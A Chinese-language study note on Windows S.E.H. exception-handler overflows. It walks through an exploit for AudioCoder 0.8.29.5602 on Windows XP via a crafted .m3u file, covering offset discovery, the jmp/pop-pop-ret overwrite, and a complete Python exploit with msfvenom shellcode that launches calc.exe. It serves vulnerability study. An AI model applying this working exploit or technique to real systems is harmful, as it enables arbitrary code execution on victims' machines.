S.E.H

最近学习了《0day 安全 软件漏洞分析技术》中的堆溢出及 S.E.H 章节,记录笔记如下。

基础概念

S.E.H 即异常处理结构体(Structure Exception Handler),它是 Windows 异常处理机制所采用的重要数据结构。每个 S.E.H 包含两个 DWORD 指针:S.E.H 链表指针和异常处理函数句柄,共 8 个字节,如图:

S.E.H 按照级别可分为:线程的异常处理、进程的异常处理、系统默认的异常处理(U.E.F),其整体的处理流程为:

  • CPU 执行时发生未捕获异常,内核结果进程的控制权,开始内核态的异常处理。
  • 内核异常结束,将控制权还给 ring3.
  • ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher() 函数。
  • KiUserExceptionDispatcher() 首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
  • 在非调试状态下,KiUserExceptionDispatcher() 调用 RtlDispatchException() 函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
  • 如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter() 函数设定进程处理异常,则这个异常处理将被调用。
  • 如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter() 将会被调用。U.E.F 会根据注册表中相关信息决定是默默地关闭程序,还是弹出错误对话框。

测试目标及测试环境

参考小马哥的文章,我也采用 AudioCoder 作为测试软件。

  • 测试目标:AudioCoder 0.8.29.5602
  • 测试环境:Windows XP SP3 + Immunity Debugger

计算溢出长度

通过 !mona pc 4096 生成测试字符串,编写如下脚本生成 poc 文件:

buf = "http://"

buf += "Aa0Aa1Aa2Aa3Aa4Aa5..."

poc_file = open("poc.m3u", "wb")
poc_file.write(buf)
poc_file.close()

将生成的 poc.m3u 加载到 AudioCoder 中,通过 !mona findmsp 观察到 nseh 已被覆盖:

...snip...

[+] Examining SEH chain
    SEH record (nseh field) at 0x0012e6f4 overwritten with normal pattern : 0x7a41327a (offset 757), followed by 3331 bytes of cyclic data after the handler

...snip...

溢出长度为 757。

验证一下:

buf = "http://"

buf += "A" * 757
buf += "B" * 4 		#nseh
buf += "C" * 4 		#seh

poc_file = open("poc.m3u", "wb")
poc_file.write(buf)
poc_file.close()

重新加载 poc,debugger 中可以看到 nseh 和 seh 已被覆盖:

构造溢出字符串

利用跳转技术,通常将 S.E.H 溢出的 buf 构造为如下格式:

buf + jmp 06 + ppr + nops + shellcode

也就是说将 nseh 覆盖为 jmp 06,seh 覆盖为 pop; pop; ret

!mona asm -s jmp 06     =>		\xeb\x06
!mona seh               => 		0x66012e63

生成 poc 文件:

buf = "http://"

buf += "A" * 757
buf += "\xeb\x06\x90\x90" 		#nseh
buf += "\x63\x2e\x01\x66" 		#seh
buf += "\x90" * 20

poc_file = open("poc.m3u", "wb")
poc_file.write(buf)
poc_file.close()

在 0x66012e63 处断点后,调试发现最终成功跳至 shellcode 处执行代码:

完整的利用代码

通过 msfvenom 生成 shellcode,注意去除坏字符:

./msfvenom -p windows/exec CMD=calc.exe -b "\x00\xff\x0a\x0d" -f python

最终利用代码如下:

#!/usr/bin/env python3

buf = b"http://" + b"\x90" * 757

nseh = b"\xeb\x06\x90\x90"
seh = b"\x63\x2e\x01\x66"
shellcode = (
b"\xb8\x7c\xf0\x94\x23\xda\xde\xd9\x74\x24\xf4\x5b\x2b"
b"\xc9\xb1\x31\x83\xeb\xfc\x31\x43\x0f\x03\x43\x73\x12"
b"\x61\xdf\x63\x50\x8a\x20\x73\x35\x02\xc5\x42\x75\x70"
b"\x8d\xf4\x45\xf2\xc3\xf8\x2e\x56\xf0\x8b\x43\x7f\xf7"
b"\x3c\xe9\x59\x36\xbd\x42\x99\x59\x3d\x99\xce\xb9\x7c"
b"\x52\x03\xbb\xb9\x8f\xee\xe9\x12\xdb\x5d\x1e\x17\x91"
b"\x5d\x95\x6b\x37\xe6\x4a\x3b\x36\xc7\xdc\x30\x61\xc7"
b"\xdf\x95\x19\x4e\xf8\xfa\x24\x18\x73\xc8\xd3\x9b\x55"
b"\x01\x1b\x37\x98\xae\xee\x49\xdc\x08\x11\x3c\x14\x6b"
b"\xac\x47\xe3\x16\x6a\xcd\xf0\xb0\xf9\x75\xdd\x41\x2d"
b"\xe3\x96\x4d\x9a\x67\xf0\x51\x1d\xab\x8a\x6d\x96\x4a"
b"\x5d\xe4\xec\x68\x79\xad\xb7\x11\xd8\x0b\x19\x2d\x3a"
b"\xf4\xc6\x8b\x30\x18\x12\xa6\x1a\x76\xe5\x34\x21\x34"
b"\xe5\x46\x2a\x68\x8e\x77\xa1\xe7\xc9\x87\x60\x4c\x25"
b"\xc2\x29\xe4\xae\x8b\xbb\xb5\xb2\x2b\x16\xf9\xca\xaf"
b"\x93\x81\x28\xaf\xd1\x84\x75\x77\x09\xf4\xe6\x12\x2d"
b"\xab\x07\x37\x4e\x2a\x94\xdb\xbf\xc9\x1c\x79\xc0"
)

payload = buf + nseh + seh + b"\x90" * 20 + shellcode
m3u_file = open("poc.m3u", "wb")
m3u_file.write(payload)
m3u_file.close()

注:shellcode 运行后,AudioCoder 退出。

其他异常处理利用思路

还可以通过攻击 V.E.H、攻击 TEB、攻击 U.E.F 等方式利用异常处理,具体可以参考 David Litchfield 在 Black Hat 上的演讲,PPT 地址:http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt

Reference